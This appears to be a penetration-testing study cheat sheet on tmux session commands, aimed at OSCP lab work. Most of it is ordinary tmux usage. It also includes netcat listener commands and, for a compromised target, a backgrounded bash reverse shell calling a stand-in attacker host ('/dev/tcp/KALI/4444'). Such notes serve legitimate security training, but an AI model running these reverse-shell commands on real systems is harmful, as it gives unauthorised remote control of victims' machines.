tmux — Session Management

Ctrl+F: tmux · attach · list-sessions · -t · -d · detach · Ctrl+b d

tmux keeps shells alive when SSH drops — essential for long scans, reverse shells, and multi-tab work on Kali or a compromised Linux host.

External: tmux Cheat Sheet

Commands · Reference > External links · Shell


Install

# Kali — usually preinstalled
sudo apt update && sudo apt install -y tmux
tmux -V

Installation - Kali Setup


📌 Sessions — list, attach, detach

List sessions

tmux list-sessions
tmux ls

Example output:

0: 1 windows (created Sat Jul 31 22:00:00 2026)
spider: 1 windows (created Sat Jul 31 22:05:00 2026) (attached)

First column = session name/id (use with -t).

Attach to a session

# Full form — detach other clients, attach here
tmux attach -d -t <session id>
tmux attach-session -d -t <session id>
 
# Short form
tmux a -t <session id>
tmux a -d -t spider
 
# Attach without kicking other clients (shared view)
tmux attach -t <session id>
tmux a -t 0
FlagMeaning
-t NAMETarget session name or id
-dDetach other clients attached to that session (take over)
-aSame as attach

Detach (leave session running)

Inside tmux: Ctrl+b then d

tmux detach

Session keeps running in background — reconnect later with tmux a -t <session id>.


📌 Create & kill sessions

# New named session
tmux new -s spider
tmux new-session -s scans
 
# New session, run command, exit when done
tmux new -s listener 'nc -lvnp 4444'
 
# Kill session
tmux kill-session -t spider

📌 Kill sessions & server

# Kill ALL tmux sessions + server (clean shutdown)
tmux kill-server
 
# Inside a session you want to KEEP — close every other session
tmux kill-session -a
 
# Kill one specific session
tmux list-sessions
tmux ls
tmux kill-session -t targetSession
 
# Nuclear — kill all tmux processes (avoid if possible)
pkill -f tmux
CommandEffect
tmux kill-serverGracefully kill all sessions and the tmux server
tmux kill-session -aKill all other sessions; keep current
tmux kill-session -t NAMEKill one named session
pkill -f tmuxGross kill — use when server is stuck

📌 Inside tmux — essentials

KeysAction
Ctrl+b then dDetach
Ctrl+b then cNew window
Ctrl+b then nNext window
Ctrl+b then pPrevious window
Ctrl+b then %Split pane vertical
Ctrl+b then "Split pane horizontal
Ctrl+b then oSwitch pane
Ctrl+b then [Copy/scroll mode (q to exit)

Prefix is Ctrl+b by default (press prefix, release, then key).


📌 OSCP workflow examples

# Kali — listener in tmux, SSH stays open
tmux new -s rev
nc -lvnp 4444
# Ctrl+b d — detach; trigger exploit; tmux a -t rev
 
# Kali — scan + shell in separate windows
tmux new -s box
# window 0: nmap / feroxbuster
# Ctrl+b c — new window for notes / second nc
 
# Recover after SSH drop
tmux ls
tmux attach -d -t box
# or
tmux a -t box

On target (Linux foothold): if tmux is installed, background a reverse shell or privesc script:

tmux new -d -s pwn 'bash -i >& /dev/tcp/KALI/4444 0>&1'

📌 Quick cheat sheet

tmux ls                              # list sessions
tmux attach -d -t <session id>       # attach (kick others)
tmux a -t <session id>               # attach (short)
tmux new -s NAME                     # new session
tmux kill-session -t NAME            # kill one session
tmux kill-server                       # kill all sessions + server
tmux kill-session -a                   # kill others; keep current
# pkill -f tmux                        # nuclear option
# Inside: Ctrl+b d                   # detach